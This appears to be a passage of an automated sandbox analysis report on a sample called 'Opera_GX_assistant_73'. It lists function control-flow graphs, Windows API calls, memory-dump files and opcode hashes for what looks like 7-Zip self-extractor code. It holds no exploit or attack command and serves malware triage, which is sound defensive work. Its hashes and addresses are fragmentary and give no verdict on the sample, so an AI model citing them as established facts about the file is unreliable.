40eb3c-40eb3e 1054->1067 1055->1056 1056->972 1056->1014 1068 40ec15-40ec1b 1065->1068 1069 40ebb5 1065->1069 1066->1067 1067->972 1070 40ec21-40ec23 1068->1070 1071 40ec1d-40ec1f 1068->1071 1072 40ebb7 1069->1072 1073 40ebc5-40ebc7 1070->1073 1074 40ec25-40ec31 1070->1074 1071->1072 1075 40ebba-40ebc3 call 40f0bf 1072->1075 1079 40ebc9-40ebca 1073->1079 1080 40ebcf-40ebd1 1073->1080 1076 40ec33-40ec35 1074->1076 1077 40ec37-40ec3d 1074->1077 1075->1073 1086 40ec02-40ec04 1075->1086 1076->1075 1077->1056 1083 40ec3f-40ec45 1077->1083 1079->1080 1081 40ebd3-40ebd5 1080->1081 1082 40ebd9-40ebf1 call 40e690 call 40e585 1080->1082 1081->1082 1082->1000 1093 40ebf7-40ebfd 1082->1093 1083->1056 1089 40ec06-40ec08 1086->1089 1090 40ec0c-40ec10 1086->1090 1089->1090 1090->1056 1093->1000
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _EH_prolog.MSVCRT ref: 0040E830
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000038,00000001), ref: 0040E9CE
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000038,00000000,00000001), ref: 0040EAA1
                                                                                                                                                                                                                  • Part of subcall function 0040ED7F: ??2@YAPAXI@Z.MSVCRT(00000020,?,00000000,?,0040EAB2,00000000,00000001), ref: 0040EDA7
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??2@$H_prolog
                                                                                                                                                                                                                • String ID: <]A
                                                                                                                                                                                                                • API String ID: 3431946709-3707672569
                                                                                                                                                                                                                • Opcode ID: 04cf34d8ff487bea99b6e38d770e7741b1dc371dfc0d2de79d58089e98610788
                                                                                                                                                                                                                • Instruction ID: fb09e060f7b5ded2eb6e5006c13314ba223be2c96fd0a2c6114c4de45a1c8ed0
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 04cf34d8ff487bea99b6e38d770e7741b1dc371dfc0d2de79d58089e98610788
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 00F14970600208DFDB24DF6AC884AAA77E5BF48314F14496AFC16AB292DB39ED51CF54
                                                                                                                                                                                                                Function 00404932 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1096 404932-4049b3 #17 call 412910 call 40215d call 4021b3 * 7 1115 4049b8-4049cc SHGetSpecialFolderPathW 1096->1115 1116 404a61-404a65 1115->1116 1117 4049d2-404a1c wsprintfW call 401484 * 2 call 40139c * 2 call 403305 1115->1117 1116->1115 1119 404a6b-404a6f 1116->1119 1128 404a21-404a27 1117->1128 1129 404a51-404a57 1128->1129 1130 404a29-404a4c call 40139c * 2 call 403305 1128->1130 1129->1128 1132 404a59-404a5c call 4026c6 1129->1132 1130->1129 1132->1116
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • #17.COMCTL32(00000000,00000020,-00000002), ref: 0040493E
                                                                                                                                                                                                                  • Part of subcall function 0040215D: GetUserDefaultUILanguage.KERNEL32(0040494E), ref: 00402167
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetLastError.KERNEL32(00000000,00000020,-00000002), ref: 00402202
                                                                                                                                                                                                                  • Part of subcall function 004021B3: wsprintfW.USER32 ref: 00402213
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00402228
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetLastError.KERNEL32 ref: 0040222D
                                                                                                                                                                                                                  • Part of subcall function 004021B3: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402248
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetEnvironmentVariableW.KERNEL32(?,00000000,00000004), ref: 0040225B
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetLastError.KERNEL32 ref: 00402262
                                                                                                                                                                                                                  • Part of subcall function 004021B3: lstrcmpiW.KERNEL32(00000000,00404955), ref: 00402277
                                                                                                                                                                                                                  • Part of subcall function 004021B3: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00402287
                                                                                                                                                                                                                  • Part of subcall function 004021B3: SetLastError.KERNEL32(?), ref: 004022AE
                                                                                                                                                                                                                  • Part of subcall function 004021B3: lstrlenA.KERNEL32(00415208), ref: 004022E2
                                                                                                                                                                                                                  • Part of subcall function 004021B3: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004022FD
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 0040232F
                                                                                                                                                                                                                  • Part of subcall function 004021B3: ??3@YAXPAX@Z.MSVCRT(00404955), ref: 004022A5
                                                                                                                                                                                                                  • Part of subcall function 004021B3: _wtol.MSVCRT ref: 00402340
                                                                                                                                                                                                                  • Part of subcall function 004021B3: MultiByteToWideChar.KERNEL32(00000000,00415208,00000001,00000000,00000002), ref: 00402360
                                                                                                                                                                                                                • SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000), ref: 004049C4
                                                                                                                                                                                                                • wsprintfW.USER32 ref: 004049DF
                                                                                                                                                                                                                  • Part of subcall function 00403305: ??2@YAPAXI@Z.MSVCRT(00000018,00000000,00404A21,?,?,?), ref: 0040330A
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
                                                                                                                                                                                                                • String ID: 7zSfxFolder%02d
                                                                                                                                                                                                                • API String ID: 3387708999-2820892521
                                                                                                                                                                                                                • Opcode ID: f726563fb2b2250325101bcf8807e48b976bb1d9adb6114e41abcfa48ef34141
                                                                                                                                                                                                                • Instruction ID: ef9653e53972978df07657c60cee51bcb8c88d210e083c37f24b76d073d3d503
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f726563fb2b2250325101bcf8807e48b976bb1d9adb6114e41abcfa48ef34141
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 38316371D002099BDB01FBA1ED8AADE7B78AB40304F14407FA619B61E1EFB956448B58
                                                                                                                                                                                                                Function 00402C1A Relevance: 6.4, APIs: 5, Instructions: 118stringCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1138 402c1a-402c64 call 412c00 call 40c5fe lstrlenA * 2 1142 402c69-402c85 call 40c5ca 1138->1142 1144 402d55 1142->1144 1145 402c8b-402c90 1142->1145 1146 402d57-402d5b 1144->1146 1145->1144 1147 402c96-402ca0 1145->1147 1148 402ca3-402ca8 1147->1148 1149 402ce7-402cec 1148->1149 1150 402caa-402caf 1148->1150 1151 402d11-402d35 memmove 1149->1151 1152 402cee-402d01 memcmp 1149->1152 1150->1151 1153 402cb1-402cc4 memcmp 1150->1153 1158 402d44-402d4f 1151->1158 1159 402d37-402d3e 1151->1159 1156 402ce1-402ce5 1152->1156 1157 402d03-402d0f 1152->1157 1154 402d51-402d53 1153->1154 1155 402cca-402cd4 1153->1155 1154->1146 1155->1144 1160 402cd6-402cdc call 402957 1155->1160 1156->1148 1157->1148 1158->1146 1159->1158 1161 402c66 1159->1161 1160->1156 1161->1142
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • lstrlenA.KERNEL32(?,?,00403D3A,00418818,?,?,00405C4E,00000000,00000000,?,?,?,00000000,-00000002), ref: 00402C4C
                                                                                                                                                                                                                • lstrlenA.KERNEL32(?,?,00403D3A,00418818,?,?,00405C4E,00000000,00000000,?,?,?,00000000,-00000002), ref: 00402C54
                                                                                                                                                                                                                • memcmp.MSVCRT(00000000,?,?), ref: 00402CBA
                                                                                                                                                                                                                • memcmp.MSVCRT(00000000,?,?,?,00403D3A,00418818,?,?,00405C4E,00000000,00000000,?,?,?,00000000,-00000002), ref: 00402CF7
                                                                                                                                                                                                                • memmove.MSVCRT(?,?,00000000,?,00403D3A,00418818,?,?,00405C4E,00000000,00000000,?,?,?,00000000,-00000002), ref: 00402D29
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: lstrlenmemcmp$memmove
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3251180759-0
                                                                                                                                                                                                                • Opcode ID: a05ed66240b8c48cd1d6013260c459d9ae8ab5bba4ea14475bffcaa69264c57e
                                                                                                                                                                                                                • Instruction ID: b3b94cb524035ad5456d55853ae81138a361194cb35f605d71d704438a574b18
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a05ed66240b8c48cd1d6013260c459d9ae8ab5bba4ea14475bffcaa69264c57e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4A417E72D0425AAFDF01DFA4C9889EEBBB9FF08344F14406AE805B3291D3B49E55CB55
                                                                                                                                                                                                                Function 0040163D Relevance: 6.1, APIs: 4, Instructions: 100synchronizationthreadCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1165 40163d-401693 call 40114b call 40139c call 401552 CreateThread 1172 401695 call 408532 1165->1172 1173 40169a-4016b5 WaitForSingleObject 1165->1173 1172->1173 1175 4016b7-4016ba 1173->1175 1176 4016e9-4016ef 1173->1176 1177 4016bc-4016bf 1175->1177 1178 4016dd 1175->1178 1179 4016f1-401706 GetExitCodeThread 1176->1179 1180 40174d 1176->1180 1183 4016c1-4016c4 1177->1183 1184 4016d9-4016db 1177->1184 1185 4016df-4016e7 call 408dd2 1178->1185 1181 401710-40171b 1179->1181 1182 401708-40170a 1179->1182 1186 401752-401755 1180->1186 1188 401723-40172c 1181->1188 1189 40171d-40171e 1181->1189 1182->1181 1187 40170c-40170e 1182->1187 1190 4016d5-4016d7 1183->1190 1191 4016c6-4016c9 1183->1191 1184->1185 1185->1180 1187->1186 1194 401737-401743 SetLastError 1188->1194 1195 40172e-401735 1188->1195 1193 401720-401721 1189->1193 1190->1185 1196 4016d0-4016d3 1191->1196 1197 4016cb-4016ce 1191->1197 1199 401745-40174a call 408dd2 1193->1199 1194->1199 1195->1180 1195->1194 1196->1193 1197->1180 1197->1196 1199->1180
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateThread.KERNELBASE(00000000,00000000,0040130F,00000000,00000000,?), ref: 00401681
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(000000FF,?,00401821,?,?), ref: 004016A2
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: wvsprintfW.USER32(?,00000000,?), ref: 00408DF6
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: GetLastError.KERNEL32 ref: 00408E07
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,00406BA8), ref: 00408E2F
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,00406BA8), ref: 00408E44
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: lstrlenW.KERNEL32(?), ref: 00408E57
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: lstrlenW.KERNEL32(?), ref: 00408E5E
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00408E73
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: lstrcpyW.KERNEL32(00000000,?), ref: 00408E89
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: lstrcpyW.KERNEL32(-00000002,?), ref: 00408E9A
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 00408EA3
                                                                                                                                                                                                                  • Part of subcall function 00408DD2: LocalFree.KERNEL32(?), ref: 00408EAD
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 359084233-0
                                                                                                                                                                                                                • Opcode ID: 5784c911f70ec8615644968fb8a473c4f5c63dc6ffda89886972cfc35f3b4edb
                                                                                                                                                                                                                • Instruction ID: 7d3ff62e437ea0c91cf1abde2eedf7a668452c74c486bf28c73a25e4bfcfdf4b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5784c911f70ec8615644968fb8a473c4f5c63dc6ffda89886972cfc35f3b4edb
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6E31D171600200BBEB316B15DC49AAB36A9EB95750F34853FF416B62F0DA798881DB1D
                                                                                                                                                                                                                Function 00401BA1 Relevance: 6.0, APIs: 4, Instructions: 27COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1202 401ba1-401bb0 CreateDirectoryW 1203 401be2-401be6 1202->1203 1204 401bb2-401bbf GetLastError 1202->1204 1205 401bc1 1204->1205 1206 401bcc-401bd9 GetFileAttributesW 1204->1206 1207 401bc2-401bcb SetLastError 1205->1207 1206->1203 1208 401bdb-401bdd 1206->1208 1208->1203 1209 401bdf-401be0 1208->1209 1209->1207
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateDirectoryW.KERNELBASE(00403797,00000000,-00000001,00403797,?,004017FB,?,?,?,?,004017FB,?), ref: 00401BA8
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,004017FB,?), ref: 00401BB2
                                                                                                                                                                                                                • SetLastError.KERNEL32(000000B7,?,?,?,?,004017FB,?), ref: 00401BC2
                                                                                                                                                                                                                • GetFileAttributesW.KERNELBASE(?,?,?,?,?,004017FB,?), ref: 00401BD0
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$AttributesCreateDirectoryFile
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 635176117-0
                                                                                                                                                                                                                • Opcode ID: 8f2a3c8d3dbd0b9b157f311614eca2aec544d8a8cefd4afcfa6ece4cce76612a
                                                                                                                                                                                                                • Instruction ID: f7db12ecad7dba541322b8e170da9c659b9c03f701e9f85f77f9de7f49b8af7a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8f2a3c8d3dbd0b9b157f311614eca2aec544d8a8cefd4afcfa6ece4cce76612a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: EFE012305581106BDB101FB4FC4CB9B7EA9AB95325F608975F469E41F4E3349C814559
                                                                                                                                                                                                                Function 00403CBF Relevance: 4.7, APIs: 3, Instructions: 151COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1210 403cbf-403cd1 call 40239b 1213 403cd3-403cd6 1210->1213 1214 403ced-403cf4 1210->1214 1215 403cd8-403cdb 1213->1215 1216 403cdd-403ceb 1213->1216 1217 403cfb 1214->1217 1218 403cfe-403d3f call 40284f * 3 call 403bce call 402c1a 1215->1218 1216->1217 1217->1218 1229 403d41 1218->1229 1230 403d45-403d59 call 40291f 1218->1230 1229->1230 1233 403da8-403daa 1230->1233 1234 403d5b-403d77 call 403bce call 402c1a 1233->1234 1235 403dac-403dd9 call 403bce call 402c1a 1233->1235 1242 403d7c-403d81 1234->1242 1244 403ddb 1235->1244 1245 403ddf-403df0 call 4029b5 1235->1245 1246 403da3-403da6 1242->1246 1247 403d83-403d86 1242->1247 1244->1245 1254 403e46-403e48 1245->1254 1246->1233 1249 403d94-403d9f call 4029b5 1247->1249 1250 403d88-403d8f call 40297f 1247->1250 1249->1246 1250->1249 1256 403df2-403e15 call 403bce call 402c1a 1254->1256 1257 403e4a-403e6c ??3@YAXPAX@Z * 3 1254->1257 1261 403e1a-403e1f 1256->1261 1262 403e41-403e44 1261->1262 1263 403e21-403e24 1261->1263 1262->1254 1264 403e32-403e3d call 4029b5 1263->1264 1265 403e26-403e2d call 40297f 1263->1265 1264->1262 1265->1264
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 0040239B: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,004023D1,00405BCF,00418818,00418818), ref: 004023AB
                                                                                                                                                                                                                  • Part of subcall function 0040239B: GetProcAddress.KERNEL32(00000000), ref: 004023B2
                                                                                                                                                                                                                  • Part of subcall function 0040239B: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,004023D1,00405BCF,00418818,00418818), ref: 004023C0
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00405C4E,?,?,?,?,?,?,?,00405C4E), ref: 00403E4D
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00405C4E,?,?,?,?,?,?,?,00405C4E), ref: 00403E55
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00405C4E,?,?,?,?,?,?,?,00405C4E), ref: 00403E5D
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1642057587-0
                                                                                                                                                                                                                • Opcode ID: fbcb74f50d5c51b62476d0abded701187e6cc922a14639688d47cf7cf31169b5
                                                                                                                                                                                                                • Instruction ID: 4cbf597906b98135771b168b77b6eb183d18575d7e5ac8660be24c748504df3f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: fbcb74f50d5c51b62476d0abded701187e6cc922a14639688d47cf7cf31169b5
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8A515EB2D00109ABDF01EFD1C9859FEBB7EAF58309F04402AF511B2191EB7D9A46DB54
                                                                                                                                                                                                                Function 00401758 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 103COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1269 401758-40176f ??2@YAPAXI@Z 1270 401771-401778 call 40fb56 1269->1270 1271 40177a 1269->1271 1272 40177c-4017a8 call 401132 call 40c5fe 1270->1272 1271->1272 1279 4017c0-4017c9 call 408dd2 1272->1279 1280 4017aa-4017be call 40110a 1272->1280 1286 4017ca-4017cf 1279->1286 1280->1279 1285 4017e8-4017f2 1280->1285 1289 401800-40180a ??2@YAPAXI@Z 1285->1289 1290 4017f4-4017f6 call 40371d 1285->1290 1287 4017d1-4017d3 1286->1287 1288 4017d7-4017d9 1286->1288 1287->1288 1291 4017e1-4017e6 1288->1291 1292 4017db-4017dd 1288->1292 1294 401815 1289->1294 1295 40180c-401813 call 40149c 1289->1295 1297 4017fb-4017fe 1290->1297 1296 40183c-401840 1291->1296 1292->1291 1299 401817-40181c call 40163d 1294->1299 1295->1299 1297->1286 1297->1289 1302 401821-401828 1299->1302 1303 401830-401832 1302->1303 1304 40182a-40182c 1302->1304 1305 401834-401836 1303->1305 1306 40183a 1303->1306 1304->1303 1305->1306 1306->1296
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(000001E8,00000000,004187D0,ExecuteFile,0000006A,0000006A,?,00406645,?,004187D0,004187D0), ref: 00401765
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000040), ref: 00401802
                                                                                                                                                                                                                  • Part of subcall function 0040371D: lstrlenW.KERNEL32(004017FB,00000000,?,?,?,?,?,?,004017FB,?), ref: 0040372A
                                                                                                                                                                                                                  • Part of subcall function 0040371D: GetSystemTimeAsFileTime.KERNEL32(?,004017FB,?,?,?,?,004017FB,?), ref: 004037A0
                                                                                                                                                                                                                  • Part of subcall function 0040371D: GetFileAttributesW.KERNELBASE(?,?,?,?,?,004017FB,?), ref: 004037A7
                                                                                                                                                                                                                  • Part of subcall function 0040371D: ??3@YAXPAX@Z.MSVCRT(?,004017FB,?,?,?,?,004017FB,?), ref: 00403866
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??2@FileTime$??3@AttributesSystemlstrlen
                                                                                                                                                                                                                • String ID: ExecuteFile
                                                                                                                                                                                                                • API String ID: 1306139538-323923146
                                                                                                                                                                                                                • Opcode ID: 5728c1b83bc4d1b9980e370ae573a7b0c9e39e3a3f34e0a4038bcb615272f731
                                                                                                                                                                                                                • Instruction ID: 696917977cc0af5d7a86523ea3cefee026201a0d6e9a1adebbd371a6d4f8659a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5728c1b83bc4d1b9980e370ae573a7b0c9e39e3a3f34e0a4038bcb615272f731
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8B31C575700204ABDB24ABA5CC85D6F77A9EF84705728447FF401FB2A1DA39AD41CB28
                                                                                                                                                                                                                Function 0040D5B6 Relevance: 4.5, APIs: 3, Instructions: 35COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1308 40d5b6-40d5c1 1309 40d600-40d602 1308->1309 1310 40d5c3-40d5c6 1308->1310 1311 40d5c8-40d5d6 ??2@YAPAXI@Z 1310->1311 1312 40d5ee 1310->1312 1313 40d5f0-40d5ff ??3@YAXPAX@Z 1311->1313 1314 40d5d8-40d5da 1311->1314 1312->1313 1313->1309 1315 40d5dc 1314->1315 1316 40d5de-40d5ec memmove 1314->1316 1315->1316 1316->1313
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(?,?,?,?,004102C5,00010000), ref: 0040D5C9
                                                                                                                                                                                                                • memmove.MSVCRT(00000000,?,?,?,?,?,004102C5,00010000), ref: 0040D5E3
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,004102C5,00010000), ref: 0040D5F3
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??2@??3@memmove
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3828600508-0
